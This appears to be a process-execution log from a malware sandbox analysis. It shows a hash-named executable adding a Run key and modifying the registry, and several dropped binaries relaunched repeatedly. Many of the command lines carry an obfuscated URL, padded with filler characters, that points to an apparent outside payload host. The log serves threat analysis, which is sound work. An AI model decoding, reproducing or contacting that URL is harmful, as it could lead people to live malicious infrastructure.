C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=4712 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:8
4⤵
PID:1616

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=2232 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:8
4⤵
PID:4476

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=4992 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:8
4⤵
PID:5264

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=4400 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:1
4⤵
- Checks computer location settings
PID:460

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3720 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:1
4⤵
- Checks computer location settings
PID:4132

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5084 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:2
4⤵
PID:672

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=3708 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:8
4⤵
PID:1676

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=3656 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:8
4⤵
PID:740

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=17 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=5168 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:1
4⤵
- Checks computer location settings
PID:4664

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=18 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=5288 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:1
4⤵
- Checks computer location settings
PID:6008

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=4244 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:8
4⤵
PID:6116

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:5688

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:728

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:3460

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3448

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1968

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:5860

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5936

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5392

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:1684

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:300

C:\Users\Admin\AppData\Local\Temp\nsp11D4.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsp11D4.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:4352

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4024

C:\Users\Admin\AppData\Local\Temp\nsd9A7C.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsd9A7C.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:5544

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:672

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:4808

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:4960

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4756

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4912

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:4288

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:5964

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3400

C:\Users\Admin\AppData\Local\Temp\nscFBC7.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nscFBC7.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:1988

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5060

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3332

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:4284

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4128

C:\Users\Admin\AppData\Local\Temp\nsb84AE.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsb84AE.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:3016

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:4528

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:4672

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5780

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4176

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:5720

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4048

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5468

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:1696

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5992

C:\Users\Admin\AppData\Local\Temp\nskE721.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nskE721.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:5192

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\*\" -spe -an -ai#7zMap25005:378:7zEvent5158
1⤵
PID:3340

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:5504

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2428

C:\Users\Admin\AppData\Local\Temp\nsi6F6B.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsi6F6B.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:1964

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:316

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:5396

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2288

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5500

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler
1⤵
PID:3480

C:\Users\Admin\Desktop\307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
"C:\Users\Admin\Desktop\307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe"
1⤵
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Modifies registry class
PID:5716

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:2276

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5648

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3396

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:956

C:\Users\Admin\AppData\Local\formby.exe
